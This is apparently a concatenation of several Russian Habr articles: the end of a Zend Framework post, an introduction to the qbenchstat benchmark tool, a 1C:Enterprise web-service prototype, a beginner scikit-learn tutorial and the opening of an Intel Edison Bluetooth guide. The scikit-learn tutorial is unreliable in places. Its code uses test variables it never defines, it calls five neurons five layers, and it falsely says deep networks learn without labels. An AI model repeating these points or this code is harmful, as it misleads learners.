Каждый из нас на конкретном проекте сам принимает решение, какую архитектуру следует реализовать. Я просто описал еще один вариант, который успешно работает и количество плюсов которого сильно перевешивает количество минусов (говорю в контексте себя и моего конкретного проекта). [Аналогичное мнение](http://stackoverflow.com/questions/1063664/zend-framework-orm-style-table-data-gateway-vs-extending-zend-db-table-abstract)
Надеюсь, что эта статья с примерами кода была полезна вам.
Также буду благодарен за критику, советы и благодарности.
###### PS
Понимаю, что совершенного кода не бывает и, практически всегда, можно сделать лучше.
Также понимаю, что можно использовать сторонние решения.
И да, я понимаю, что есть ZF2, и лучше новые проекты начинать делать на нем.
Также я осознаю, что есть другие фреймворки / языки программирования, на которых некоторые вещи работают быстрее / оптимальные / выше / сильнее / выглядят красивее и тп. | https://habr.com/ru/post/169537/ | null | ru | null |
# Улучшенный benchstat для оптимизирующих гоферов
Привет!
Если вы писали бенчмарки и пытались понять, что там ускорилось и на сколько, то наверняка вы пользовались утилитами вроде [benchstat](https://pkg.go.dev/golang.org/x/perf/cmd/benchstat).
Мне очень нравится эта утилита, но временами я понимаю, что некоторые её особенности работают против меня. Сегодня я расскажу вам о своей [обёртке над benchstat](https://github.com/quasilyte/qbenchstat), которая добавляет улучшения, полезные в моей работе.
Точка старта, обычный benchstat
-------------------------------
Если у вас ещё не установлен benchstat, стоит это исправить:
```
$ go install golang.org/x/perf/cmd/benchstat
```
Напомню, что синопсис следующий:
```
benchstat [options] old.txt [new.txt] [more.txt ...]
```
Мне не хочется придумывать бенчмарки и вымышленный код, который мы героически принялись бы ускорять, поэтому я возьму сэмплы, собранные при анализе производительности одного из моих проектов. Есть два набора сэмплов — старые ([old.txt](https://gist.github.com/quasilyte/809f7093de7d60161af150c2a2d3c438)) и новые ([new.txt](https://gist.github.com/quasilyte/ee37f1f6dbad06c00deb8bba6dce1a9f)). То есть до и после оптимизации. Бенчмарки идентичные.
Если мы запустим benchstat на них, то получим примерно такую картину:
Я специально использую скриншоты, ведь в данной статье презентация результатов имеет ключевое значение.
Удобно? Информативно? Лучше, чем ничего, но приходится всматриваться в числа и пытаться понять, есть ли смысл собирать новые данные, настраивать машину для уменьшения шума и так далее.
Шаг первый: добавляем цвета
---------------------------
Я не очень люблю цветной вывод команд. С цветами очень легко переборщить. Я считаю, что если у утилиты есть цветной вывод, то хорошей практикой является флаг `--no-color` или что-то в этом стиле, чтобы было легко получить обычный plain text вывод без ANSI-последовательностей.
Тем не менее, это тот самый случай, когда цвета могут быть полезны.
Теперь есть какие-то индикаторы, которые привлекают взгляд.
Чаще всего мы хотим не только сами посмотреть на эти завораживающие циферки, но и показать их нашем коллегам и друзьям (мои друзья часто получают от меня скриншот очередного benchstat результата, так что они уже даже не удивляются). Не каждый человек захочет тратить время на то, чтобы разобраться в данных, выдываемых benchstat по умолчанию. Цвета помогают людям, которые не использовали benchstat сами, проще догадаться какие результаты хорошие, а какие — отрицательно хорошие.
Шаг второй: убираем недостоверные результаты
--------------------------------------------
Приятно, конечно, видеть больше зелёного текста, но нам стоит сохранять объективность. Обратите внимание на выделенные строки:
```
Implode::EmptyArray 18.3ns ± 7% 16.0ns ± 0% -12.33% (p=0.000)
Implode::Vector1 22.0ns ± 0% 18.6ns ± 8% -15.45% (p=0.000)
```
Если верить машине, то это ускорение на 12-15%, ещё и `p=0`, что должно было означать значимость изменения.
Прошу не торопиться с выводами. Здесь стоит обратить внимание на две вещи:
1. Значения времени исполнения очень низкие (порядка 20 наносек).
2. Разброс значений не пару-тройку, а в целых 7-8 процентов.
Оба пункта связаны с тем, что сложно измерить столь малые значения и сравнить их. Различия в пару наносекунд дают разницу в 10%+ времени исполнения! Аналогично с разбросом значений, 1-2ns разброса на среднестатистической машине — это неплохой результат, но он же будет равен отклонению от медианы на несколько процентов.
Что же можно с этим делать? Вот моё мнение: нужно считать эти результаты нестабильными и не выводить их как ускорение (или замедление). Автоматизировать это можно следующим образом: разница в метрике должна вдвое превышать суммарный разброс обеих измерений. То есть:
```
(7 + 0) * 2 = 14; abs(-12.33) < 14 ==> не засчитываем
(0 + 8) * 2 = 16; abs(-15.45) < 16 ==> не засчитываем
```
Это, конечно же, [существенная лавка гробовщика](https://sadtranslations.livejournal.com/1510124.html), но она позволяет во многих случаях отбросить вот такие нестабильные результаты. Если хочется доказать ускорение или замедление такого ювелирного бенчмарка, то надо или лучше настроить окружение и снизить разброс показаний, либо получить более высокое по модулю значение изменения. Например, ускорение на 30% уже было бы чем-то более стабильным.
Шаг третий: выпрямляем geomean
------------------------------
Не всегда geomean имеет смысл. А иногда он и вовсе вреден. По крайней мере, в стандартной реализации benchstat. Вот здесь мне нужно будет написать небольшой бенчмарк и показать вам фокус собственноручно.
```
package main
import (
"bytes"
"strings"
"testing"
)
//go:noinline
func example1(x, y string) bool {
return strings.ToLower(x) != strings.ToLower(y)
}
//go:noinline
func example2(s string) []byte {
return bytes.TrimSpace([]byte(s))
}
func BenchmarkExample1(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = example1("Hello", "HellO")
}
}
func BenchmarkExample2(b *testing.B) {
for i := 0; i < b.N; i++ {
_ = example2(" hello world ")
}
}
```
Соберём семплы. Меня в данном случае интересуют только аллокации.
```
$ go test --count 10 -bench=. -benchmem . | tee old.txt
```
Внесём некоторые изменения в код.
```
//go:noinline
func example1(x, y string) bool {
return strings.EqualFold(x, y)
}
//go:noinline
func example2(s string) []byte {
return []byte(strings.TrimSpace(s))
}
```
Соберём второй набор метрик.
```
$ go test --count 10 -bench=. -benchmem . | tee new.txt
```
Сравним результаты (я удалил cpu метрики из вывода):
```
$ benchstat old.txt new.txt
name old alloc/op new alloc/op delta
Example1-8 10.0B ± 0% 0.0B -100.00%
Example2-8 24.0B ± 0% 16.0B ± 0% -33.33%
name old allocs/op new allocs/op delta
Example1-8 2.00 ± 0% 0.00 -100.00%
Example2-8 1.00 ± 0% 1.00 ± 0% ~
```
Всё выглядит логично и понятно. А если добавим geomean?
```
$ benchstat old.txt new.txt
name old alloc/op new alloc/op delta
Example1-8 10.0B ± 0% 0.0B -100.00%
Example2-8 24.0B ± 0% 16.0B ± 0% -33.33%
[Geo mean] 15.5B 16.0B +3.28% # <---- triggered
name old allocs/op new allocs/op delta
Example1-8 2.00 ± 0% 0.00 -100.00%
Example2-8 1.00 ± 0% 1.00 ± 0% ~
[Geo mean] 1.41 1.00 -29.29% # <---- O_o
```
То есть, geomean утверждает, что стало хуже?
Знаете, вот в этом случае нам легко заметить что-то подозрительное. Но обычно бенчмарков много, десятки или сотни. Смотреть каждый результат глазами и перепроверять geomean совсем не хочется. Многие наверняка вообще относятся к этому значению как к вердикту.
Но любой нолик в столбике данных портит эту статистику.
Мой доработанный benchstat просто не показывает geomean, если в столбике есть нулевое значение:
```
$ qbenchstat -geomean old.txt new.txt
name old alloc/op new alloc/op delta
Example1-8 10.0B ± 0% 0.0B -100.00%
Example2-8 24.0B ± 0% 16.0B ± 0% -33.33%
name old allocs/op new allocs/op delta
Example1-8 2.00 ± 0% 0.00 -100.00%
Example2-8 1.00 ± 0% 1.00 ± 0% ~
```
Не смотря на то, что мы просим показать нам geomean, он показан не будет. Скрывается он только для тех метрик, где встречаются нули. Чаще всего, это аллокации, так как время исполнения стремится к нулю разве что асимптотически, в наших самых смелых фантазиях.
Выводы
------
Думаю никто не будет говорить, что можно доверять утверждениям об ускорении или замедлении без бенчмарка с приложенным к нему benchstat-листингом. К сожалению, benchstat — это ещё не решение всех проблем. Трудности сбора правильных сэмплов всё ещё остаётся. Писать корректные бенчмарки тоже не так легко.
Мой [qbenchstat](https://github.com/quasilyte/qbenchstat) решает лишь несколько из проблем, с которыми я чаще всего сталкивался. Сама идея улучшенного benchstat пошла из проекта [ktest](https://github.com/VKCOM/ktest), которые реализует фреймворк бенчмарков для [KPHP](https://github.com/VKCOM/kphp).
Установить qbenchstat можно так:
```
$ go install github.com/quasilyte/qbenchstat/cmd
```
Если у вас есть идеи как ещё можно улучшить эту утилиту — [создавайте тикеты](https://github.com/quasilyte/qbenchstat/issues/new), высылайте пулл-реквесты. | https://habr.com/ru/post/703294/ | null | ru | null |
# Быстрое прототипирование веб-сервиса на платформе 1C:Enterprise 8
Доброго времени суток, уважаемые хабралюди!
Некоторые из вас наверное знают, что на платформе **1C:Enterprise 8** (**1С: Предприятие 8**) некоторые ~~безумцы~~ умельцы, помимо приложений для бухгалтеров, делают, например еще и игры. Но речь пойдет не о разработке игр, хотя в какой-то мере веб-сервисы можно использовать и для этого.
Хотя платформа **1C:Enterprise 8** и предметно ориентирована, но благодаря наличию в ней технологий **COM**, **OLE**, **XML**, **HTML**, **SOAP** и некоторых других, может использоваться и для задач не связанных напрямую с автоматизацией бизнеса. Лично меня в ней привлекает очень быстрая скорость разработки, отладки и разворачивания приложения. Эти характеристики для меня являются ключевыми при выборе платформы для прототипирования.
Под катом я на простом примере покажу насколько быстро на платформе **1C:Enterprise 8** можно реализовать веб-сервис, разработать для него базу данных и опубликовать на веб-сервере. Приведенный пример, в немного измененном виде, используется в большом и реальном проекте, прототип которого было решено реализовать на **1C**. Проект еще находится в стадии разработки, но я все больше склоняюсь к тому, чтобы и финальную реализацию сделать на этой платформе.
#### Постановка задачи примера
Для примера разработаем небольшой веб-сервис, обеспечивающий удаленное хранение файлов. Из функций веб-сервиса реализуем только помещение файла на сервер и его получение. Для доступа на веб-сервис будем использовать HTTP аутентификацию.
Специально для ненавистников кириллицы весь код (и наименование платформы) представлен в англоязычном написании.
Итак, приступим.
#### Разработка базы данных
Надеюсь добавить новое приложение для разработки на платформе **1С** не вызовет ни у кого каких бы то ни было затруднений. В общих чертах при добавлении (*1*) необходимо указать его наименование и место расположения. Для непосредственной разработки приложения необходимо перейти в режим **Designer** (*2*).
Нам понадобится всего пара кликов, чтобы создать хранилище файлов в базе данных. Для этого добавляем в приложение catalog (справочник) **FileStorage**.
Определяем для него один единственный реквизит **ValueStorage** с типом **ХранилищеЗначения**.
Всё, структура базы данных для хранения файлов реализована. Мы будем хранить только двоичные данные самого файла, имя хранить для нашего примера не нужно. Если все-таки понадобится, то решается это также достаточно просто – добавляем еще один реквизит для хранения наименования файла.
#### Реализация веб-сервиса
Теперь приступим к разработке самого веб-сервиса.
Добавим новый веб-сервис в приложение. Зададим ему имя **FileStorageService**.
Обязательно определим для него пространство имен.
И добавим два метода **PutFile**(**File** тип base64binary) возвращаемое значение типа string и **GetFile**(**Id** тип string) возвращаемое значение типа base64binary. В модуле веб-сервиса напишем для них несколько строчек кода:
`Function PutFile(File)
If File.Size() = 0 Then
Raise "INVALID_BINARY_DATA";
EndIf;
// Добавление файла в БД.
NewFile = Catalogs.FileStorage.CreateItem();
NewFile.ValueStorage = New ValueStorage(File);
NewFile.Write();
Return NewFile.Code;
EndFunction
Function GetFile(Id)
// Поиск файла в БД по переданному коду.
File = Catalogs.FileStorage.FindByCode(Number(Id));
If NOT ValueIsFilled(File) Then
Raise "INVALID_FILE_CODE";
EndIf;
Return File.ValueStorage.Get();
EndFunction`
Всё, необходимые нам функции получения и помещения файла на сервер реализованы. Осталось только завести пользователей для HTTP аутентификации и опубликовать наш веб-сервис.
#### Публикация на веб-сервере
Вначале разработки в приложении отсутствуют какие либо пользователи и доступ к информационной базе разрешен без ввода имени и пароля. Для того чтобы это исправить необходимо добавить пользователей в информационную базу. Также эти пользователи будут использоваться и для HTTP аутентификации. Первое что мы сделаем, это добавим роль с полными правами.
Далее назначим эту роль первому созданному пользователю (Administration -> Users -> Add) – администратору.
После этого в список добавим обычных пользователей.
После добавления пользователей опубликуем наш веб-сервис. Публикация (Administration -> Publishing on web-server...) возможна на **IIS** или **Apache**. Все необходимые для этого действия платформа выполняет автоматически. Нам необходимо только нажать кнопку **Publish**.
Это всё, опубликованным веб-сервисом можно уже пользоваться.
Как мне кажется прочтение этого текста займет гораздо больше времени, чем заняла реализация. Надеюсь уважаемым хабралюдям было интересно узнать, что прототипировать веб-сервисы на платформе **1C:Enterprise 8** достаточно быстро и просто. В некоторых средах разработки обычный «Hello world» реализовать гораздо сложнее. | https://habr.com/ru/post/127998/ | null | ru | null |
# Пишем первую программу по машинному обучению до 50 строк с помощью Scikit-Learn
Если вдруг кому интересно то я веду [телеграм канал](https://t.me/devsp) где выкладываю интересные статьи на темы DS или ML которые могут быть вам интересны.
---
### Сегодня мы воспользуемся возможностями машинного обучения для анализа шоколадного печенья.
Машинное обучение сегодня стало довольно будничным явлением. Кажется, что эту технологию невозможно понять и применить без глубоких познаний в информатике и математике, но это утверждение далеко от правды. В мире, где ведущие компании были созданы в гаражах, а FOSS (бесплатное и открытое программное обеспечение) есть везде, куда ни глянь, существует несколько библиотек, созданных сообществом, чтобы упростить разработку модели машинного обучения.
Что такое Scikit-Learn?
-----------------------
Scikit-learn — это библиотека машинного обучения для Python. Она построена поверх нескольких библиотек Python, включая NumPy (математические функции), SciPy (нужно больше математики!) и Matplotlib (визуализация данных).
Если вы хоть немного знакомы со сферой машин лёрнинга, вы можете удивиться, почему мы не используем TensorFlow от Google. TensorFlow — это тоже библиотека машинного обучения, но она в основном фокусируется на глубоком обучении и нейронных сетях. Scikit-learn содержит только общие концепции машинного обучения и считается более легким для новичков по сравнению с TensorFlow.
Такие компании, как JPMorgan и Spotify применяют scikit-learn для задач предиктивного анализа или системы рекомендации музыки. Отзывы можно посмотреть [здесь](https://scikit-learn.org/stable/testimonials/testimonials.html).
С чего начать
-------------
Для этого туториала вам понадобятся:
* Python (версия 3.7 или выше) — в комплекте желательно иметь базовый опыт работы с ним
([Туториал по установке](https://www.tutorialspoint.com/how-to-install-python-in-windows))
Сначала установите три пакета с помощью pip в консоли:
```
pip install notebook
pip install numpy
pip install scikit-learn
```
Запустите в консоли jupyter notebook. Ваш дефолтный браузер должен открыть вкладку с проводником файлов. Просто переходите по директории, где вы бы хотели создать программу и создайте там файл Python 3 Notebook (выберите new в правом верхнем углу). Вы увидите такой экран:
Можете переименовать файл, кликнув на «Untitled.»
Время кодить!
-------------
Запустите каждую ячейку после завершения ее записи, нажав кнопку Run вверху экрана. В первой ячейке начните с импорта нужных библиотек:
```
from sklearn.neural_network import MLPClassifier
import numpy as np
```
Теперь время для данных, на которых мы будем обучать нашу модель. Допустим, мы отправимся в магазин печенья и опросим людей о том, какое печенье они пробовали:
```
# sweet, bitter, good(1) or bad(0)
survey = np.array([
[1, 0, 1],
[1, 0, 1],
[0, 1, 0],
[1, 0, 1],
[1, 0, 1],
[0, 1, 0],
[1, 0, 1],
[0, 1, 0],
])
```
Посмотрите на эти данные (обратите внимание на комментарий вверху). Мы быстро определили закономерность: сладкое печенье = хорошо, а горькое = плохо. Этому простому выводу мы и обучим нашу модель.
Теперь мы определяем характеристики и метки наших данных:
```
features_train = survey[:, 0:2]
labels_train = survey[:, 2]
```
Этот пункт говорит сам за себя — характеристики, по которым мы обучаем модель, это сладость или горечь печенья, а метка — оценка печенья: хорошее оно или нет.
Далее нажмите alt + enter, чтобы создать новую ячейку.
Теперь нам нужно разработать тестовый набор, чтобы проверить нашу модель на данных, которые она просмотрела. Это поможет понять, насколько модель точная.
### Нейронные сети
В качестве модели мы будем использовать MLPClassifier от scikit-learn. MLP просто (или не очень просто) означает многослойный перцептрон. В общих чертах, многослойный перцептрон — это искусственная нейросеть с обратной связью, где входы и выходы равны 0 или 1:
Нейросети так называются не случайно — узлы (или нейроны) в нейронных сетях аналогичны нейронам в мозге человека. Если правильно стимулировать нейроны, они запускаются.
Скрытые слои — это то место, где происходит волшебство. Их называют скрытыми, потому что они не видны за пределами сети.
Каждый нейрон скрытого слоя имеет вес, отражающий степень важности его входных данных. Например, если бы мы добавили к нашим данным больше факторов, чем просто «сладкий» или «горький», модель применила бы веса к каждому из этих признаков. И соленость, и сладость помогают получить хорошее печенье, но вес солености может быть меньше (т.е. 0,2х), чем вес сладости (т.е. 0,5х). Так получится, если модель придет к выводу, что сладость для хорошего печенья важнее, чем соленость.
Каждый нейрон также имеет bias — смещение (постоянное число), которое добавляется или вычитается, чтобы компенсировать результат работы нейрона. Слишком сложно для этого туториала, поэтому опустим подробности.
Нейронная сеть, которую мы создаем, это не сеть глубокого обучения. Глубокой нейронной сетью считается сеть, в которой более трех скрытых слоев (3 — общепринятое число). Таким сетям не требуются маркированные данные. Например, классическая нейронная сеть требует участия человека для маркировки наборов данных. Мы так делали, когда маркировали, какие печенья были хорошими, а какие нет — это и называется контролируемым обучением.
С другой стороны, глубокие нейронные сети выполняют так называемое «обучение без учителя». Они могут использовать не маркированные данные и объединять их в различные группы на основе характеристик, которые они определяют самостоятельно.
И наконец, сам код (знаю, звучит не так впечатляюще). Мы просто определяем, что наш скрытый слой будет состоять из 5 слоев, и что мы будем просматривать наши данные 3000 раз.
```
# Define the model
mlp = MLPClassifier(hidden_layer_sizes=(5),
max_iter=3000, # epochs
)
```
Снова нажмите alt + enter, чтобы создать новую ячейку.
Теперь мы подгоним или обучим модель к данным, которые мы ей предоставили. Модель пройдет через данные 3000 раз (то есть, завершит 3000 эпох), как мы и определили при создании нашей сети.
Затем мы протестируем нашу модель на тренировочном и тестовом множестве с разработанными весами и смещениями.
```
# Train the model
mlp.fit(features_train, labels_train)
print(f"Training set score: {mlp.score(features_train, labels_train):.3%}")
print(f"Testing set score: {mlp.score(features_test, labels_test):.3%}\n")
```
Выход (output):
```
Training set score: 100.000%
Testing set score: 100.000%
```
Еще раз нажмите alt + enter, чтобы создать новую ячейку.
Наконец, мы можем использовать нашу проверенную модель, чтобы определить, будет ли печенье хорошим или нет. Вот код, который я использовал для тестирования:
```
features_list=[
{"features": [[1, 0]], "type": "Sweet cookie"},
{"features": [[0, 1]], "type": "Bitter cookie"}
]
for item in features_list:
print(f"Type: {item['type']}")
if mlp.predict(item["features"]) == 1:
print("Good cookie!")
else:
print("Bad cookie!")
print("\n")
```
Помните вывод, который мы сделали на основе полученных данных в самом начале? Наша модель успешно сошлась с нами в мышлении!
```
Type: Sweet cookie
Good cookie!
Type: Bitter cookie
Bad cookie!
```
Вывод
-----
Конечно, данные, которые мы использовали в этой модели, не нуждаются в нейронной сети. Но это простая имплементация с простыми данными, и с ней мы можем сфокусироваться на том, как работает машинное обучение.
Вы можете обновлять опросник про печенье и добавлять тестовые наборы на свой вкус. Добавьте, например, больше признаков (хрусткость, соленость и т.д.), и испытайте модель самостоятельно.
Спасибо за чтение! Надеюсь, вам понравился туториал, и вы лучше поняли, как работает машинное обучение. | https://habr.com/ru/post/677274/ | null | ru | null |
# Ирина, голосовой помощник. Продолжение
— Слушай, она меня на кухне не слышит.
— Ну да, далековато. Давай дополнительный микрофон протянем.
<покупается 5 метров кабеля>
— О, классно!
— ...
— Теперь в комнате не работает.
Это продолжение статьи [Ирина — опенсорс русский голосовой помощник. Offline-ready](https://habr.com/ru/post/595855/). Расскажу, что поменялось за два месяца с момента прошлой статьи.
* Отлажена работа в режиме клиент-сервер с несколькими микрофонами/машинами
* Сделан Телеграм-клиент для удаленного управления
* Прикручено несколько новых голосов (TTS)
* Добавлена возможность обрабатывать голос в контексте (можно делать голосовые игры)
* Мне прислали плагин, позволяющий запускать сценарии Home Assistant :)
* Новые плагины и улучшенная документация
Клиент-сервер, или как командовать с нескольких микрофонов
----------------------------------------------------------
В комментариях к прошлой статье спрашивали, можно ли сделать распознавание команд с нескольких микрофонов. Чуть позднее мне пришлось самому столкнуться с этой проблемой - очень хотелось, чтобы можно было командовать Ириной как с кухни (ставить кухонный таймер), так и рядом с сервером.
Кабель купили, микрофон поставили, на кухне всё заработало... но оказалось, что теперь не идет аудиопоток с микрофона в сервере.
В общем возникла *проблемка*.
1. Я оптимистично предположил, что в Windows есть функция сведения микрофонов... но оказалось, что её НЕТ. Во всяком случае, быстро найти мне её не удалось.
2. Писать оригинальную функцию в Питоне для сведения потока с двух микрофонов мне не захотелось - не мой профиль, и быстро бы не получилось.
Так что был выбран третий путь - довести до ума клиент-серверную инсталляцию, где два отдельных клиента слушали бы микрофоны, распознавали с них ввод, и отсылали на сервер для обработки. Заодно возникла бы возможность командовать Ириной с других машин, или вообще через Телеграм-клиент.
...
Долго ли коротко ли, клиент-серверная модель была отлажена. (Кто её пробовал в 3.0 - извиняюсь, я там немного накосячил с многопоточностью; попробуйте самую свежую версию, она устойчива).
Обычная работа Ирины выглядит так:
**Speech-To-Text (распознавание голоса) -> vacore (ядро) -> plugin -> Text-To-Speech (генерация голосового ответа)**
В то время, как клиент-серверный вариант - так:
**[клиент] Speech-To-Text (распознавание голоса) ----> [сервер] webapi (vacore) -> plugin -> Text-To-Speech (генерация голосового ответа)**
На клиент возлагается ответственность передавать текстовый поток. Можно это делать через распознавание голоса, или просто посылать команды через командный интерфейс.
Сейчас сделаны примеры [нескольких клиентов](https://github.com/janvarev/Remote-Irene):
* **run\_remoteva\_vosk.py** - запускает распознавание с определенного микрофона с помощью VOSK, и отсылает результат на сервер. Кроме того, я собрал этот клиент в EXE-файл c помощью Auto-py-to-exe, что позволяет запускать его на машинах без установленного Питона. В предельном варианте у меня работало 4 таких клиента - по клиенту на 2 микрофонах на сервере + еще по клиенту на двух ноутбуках.
* **run\_remoteva\_cmdline.py** - компактный демо-вариант клиента, позволяющий работать с Ириной через командную строку.
* **run\_remoteva\_cmdline\_min.py** - Абсолютно минимальный вариант для удаленного управления Ириной через командную строку (около 50 строк кода). Сделан только на нативных функциях Python, без установок пакетов(что может быть полезно, если захотите реализовать вариант для чего-то компактного без pip).
* **run\_remote\_telegrambot.py -** Телеграм-клиент, о котором чуть позже
**Про проблему голосового ответа в клиент-сервере**
Вот сижу я за ноутбуком, и говорю "Ирина, прогноз погоды".
Вопрос - как должен осуществляться вывод? На сервере Ирины, через колонки? Или же на моем компьютере, звуком? Или, если я сижу в клиенте командной строки, возможно, я ожидаю ответ в текстовом виде?
Я решил, что однозначного ответа на этот вопрос нет, и для каждого клиента должны быть свои настройки. Для этого при вызове REST API предусмотрен параметр ttsFormat, который может принимать следующие значения:
* "none" (TTS реакции будут на сервере)
* "saytxt" (сервер вернет текст, возможно, TTS будет на клиенте. Или же клиент просто покажет сообщение текстом)
* "saywav" (TTS на сервере, сервер создаст WAV согласно установленному голосу и вернет клиенту, клиент его проиграет) (звук на клиенте)
Более того, поддерживаются комбинации параметров. Например, можно задать "none,saywav" - как что вызовет озвучку на сервере, так и передаст WAV-файл на клиент.
[Подробнее о клиент-серверных инсталляциях можно почитать в документации](https://github.com/janvarev/Irene-Voice-Assistant/blob/master/docs/INSTALL_MULTI.md).
В общем, можно сделать как вам удобно.
Телеграм-клиент
---------------
Поскольку клиент-серверная модель была отлажена, возникла интересная идея - почему бы не сделать опцию управления Ириной через Телеграм-бота?
Долго ли коротко ли, он был сделан. [Инструкция по установке здесь](https://github.com/janvarev/Remote-Irene#%D1%82%D0%B5%D0%BB%D0%B5%D0%B3%D1%80%D0%B0%D0%BC-%D0%BA%D0%BB%D0%B8%D0%B5%D0%BD%D1%82).
Из интересного - мне адски захотелось сделать фичу обработки голосовых сообщений в Телеграме, чтобы опыт команд был приближен к голосовому. Можно, конечно, и просто текстом команды посылать, но это не так весело.
В общем, сейчас можно:
* отправить голосовое сообщение в бот
* бот его распознает (с помощью VOSK)
* далее вы можете либо запустить распознанную команду, либо проиграть исходное голосовое сообщение там, где запущен Телеграм-клиент(!). Этакая широковещательная штучка - возможность озвучить своё сообщение прямо через колонки.
Новые TTS (Text-to-Speech) движки
---------------------------------
С момента запуска были добавлено несколько новых движков и голосов. Хочу отметить следующие:
* RHVoice - для маломощных машин и Linux (стандартный Linux espeak не очень хорош, а вот RHVoice вполне)
* silero\_v3 - вчера был [анонс на Хабре](https://habr.com/ru/post/660565/), голоса там очень качественные. Мне удалось быстро добавить их поддержку в Ирину; однако они предназначены для относительно мощных машин
Впрочем, я по-прежнему использую стандартный pyttsx, он мне нравится - в том числе и тем, что явно ощущается, что это робот. Предпочитаю об этом не забывать.
Поддержка контекста при общении
-------------------------------
Изначально планировалось, что все обращения к Ирине будут начинаться с имени помощника - так предполагалось отсеивать команды от обычного разговора в комнате.
Но на практике оказалось, что это не всегда удобно. Иногда хочется, чтобы помощник просто переспросил - например, после фразы, "Ирина, мультик пыагьа", чтобы переспросил "Какой мультик?". Или, после фразы "Ирина, таймер ыывашел", был вопрос "Что после таймер?".
Сейчас это **сделано**. Плагины в определенных ситуациях могут задавать "**контекст**" - и если контекст задан, то голосовые обращения будут идти прямо в него, минуя остальные стадии распознавания команд. При этом контекст сбрасывается через 10 секунд (настраиваемо) - это позволяет Ирине возвращаться в обычное состояние даже если пользователь не ответил, или куда-то ушел.
Это может быть полезно в реализации голосовых игр, или, например, арифметических тестов для ребенка.
Как примера была сделана плагин-игра "Больше-меньше". В ней загадывается число от 1 до 30; задача отгадать его не более чем за 5 попыток.
Попробовал - вполне играбельно.
Интеграция с Home Assistant
---------------------------
Несмотря на несколько запросов на интеграцию Ирины с Home Assistant, я не хотел этим заниматься. У меня правило - стараться не программировать то, чем не пользуешься сам, а то сделаешь неудобно почти наверняка.
Однако юзер **timhok** буквально на днях [выложил плагин](https://github.com/timhok/IreneVA-hassio-script-trigger-plugin), который позволяет запускать сценарии Home Assistant через команды Ирины (через REST API HA). Там есть красивое решение - если в описании сценарии есть строка типа ttsreply(Приятных снов), то именно этот ответ будет озвучен, если сценарий выполнен.
Если вы до этого командовали HA только через Алису, то теперь это вполне можно сделать и через Ирину.
Новые плагины и документация
----------------------------
Из новых интересных плагинов могу выделить:
**plugin\_finstockmoex.py** - курс акций на Московской бирже (ох, намучался я с его получением!). В конфиге можно задать:
* список акций для озвучки, несколько наборов при желании
* собрать портфель из акций - тогда будет озвучиваться стоимость портфеля
Примеры команд: "ирина акции", "ирина акции сбер", ирина портфель тест"
**plugin\_urlopener.py** - полезный плагин, если вы планируете открывать ссылки в браузере по голосовым командам.
Позволяет задать в конфиге набор команд, и URL, которые будут по ним открываться.
Конфиг настраивается в `options/plugin_urlopener.json`
Пример:
```
"cmds": {
"главная яндекс": "https://yandex.ru/",
"ютуб|юту": "https://www.youtube.com/results?search_query={}",
"яндекс": "https://yandex.ru/search/?text={}"
},
```
Если в URL содержится {}, то он будет заменен на оставшуюся часть произнесенной фразы. Так, фраза "яндекс погода" запустит поиск в Яндексе по слову "погода".
**Про документацию**
Документация сильно обновилась. Сделаны примеры разработки плагинов, процедура настройки клиент-серверной модели. Ещё несколько важных документов по решению проблем при установке на Mac и Linux на основе отзывов пользователей.
В общем, это наконец-то не одна страничка. Вот например, оглавление документа "Разработка плагинов":
Типовые задачи
1. Простейший плагин
2. Плагин с пользовательскими настройками
3. Плагин с кастомной обработкой пользовательских фраз
4. Плагин с деревом команд
5. Плагин с непрерывным взаимодействием (установлением контекста), или переспрашивающий
6. Плагин, устанавливающий голосовые команды в зависимости от пользовательских настроек
В общем, документация правда стала сильно более полной.
В заключение - немного о поддержке проекта
------------------------------------------
Я немного поработал в западном опенсорсе. Впечатлило меня следующее - я понял, что живучесть проекта почти не определяется идеей, в него заложенной.
**Живучесть определяется тем, сколько времени проект поддерживают.**
*Потому что писать код относительно весело.*
*А вот писать документацию, отвечать на вопросы, разбирать пулл-реквесты, договариваться с контрибьюторами, отлаживать баги в не самых обычных конфигурациях, обновлять проект под новые зависимости - уже не очень. Но проект в реальности во многом живет именно этим - небольшими проблемами и вопросами абсолютно реальных любдей.*
Опенсорс-разработчик вынужден быть не только разработчиком, но и немного менеджером, техническим писателем, просто писателем и т.д. Но найти соавторов, которые взяли бы на себя часть функций непросто.
Так или иначе, у меня есть ощущение, что будущее "Ирины" - кастомизируемого голосового помощника, не завязанного на крупные корпорации - сейчас в значительной степени зависит от моего интереса. Скорее всего, именно от него зависит, сколько проект будет жить в публичном поле и получать апдейты.
Если Ирина вас порадовала, и вы хотите, чтобы проект жил подольше, то можно:
* **Написать плагин для Ирины**. Это то, что меня очень сильно мотивирует - когда видишь, что кому-то проект настолько небезразличен :)
* **Поддержать материально** [**подпиской на Boosty.to**](https://boosty.to/irene-voice). Это тоже форма внимания. Видя подписчиков я понимаю, что кто-то действительно заинтересован в проекте.
* **Выразить благодарность в комментариях или личном сообщении.** Это меня всегда радует :)
Спасибо за внимание!
--------------------
Буду работать дальше.
> [Github проекта](https://github.com/janvarev/Irene-Voice-Assistant)
>
> | https://habr.com/ru/post/660715/ | null | ru | null |
# Соединение Arduino программы на Intel Edison c телефоном Android по Bluetooth профилю SPP (Serial Port Profile)
В среде Arduino удобно иметь доступ к Bluetooth с профилем серийного порта BT SPP (Bluetooth Serial port profile), чтобы реагировать на команды, посылаемые через последовательный Bluetooth порт. Во многих Arduino проектах используется эта возможность, чтобы удаленно управлять устройством. Раньше вам был нужен дополнительный Bluetooth шилд или Bluetooth набор, чтобы получить такую возможность на Intel Galileo. А так как сейчас на Intel Edison есть встроенная поддержка Bluetooth, то достаточно просто использовать Arduino-адаптер, чтобы создать такое Arduino устройство. Никаких дополнительных шилдов не потребуется.
[](http://geektimes.ru/company/intel/blog/261114/)
Нам потребуется:
----------------
* Телефон или планшет с Android и с Bluetooth.
* Подключенная к сети Wi-Fi плата Intel Edison, как написано в [Get started with Intel® Edison technology](https://software.intel.com/en-us/iot/library/edison-getting-started). Задайте имя платы Edison, например, myedison.
* Программа SCP на хост-компьютере, который подключен к той же сети.
* Настроенный терминальный доступ к вашей плате по последовательному порту или по SSH.
Основы
------
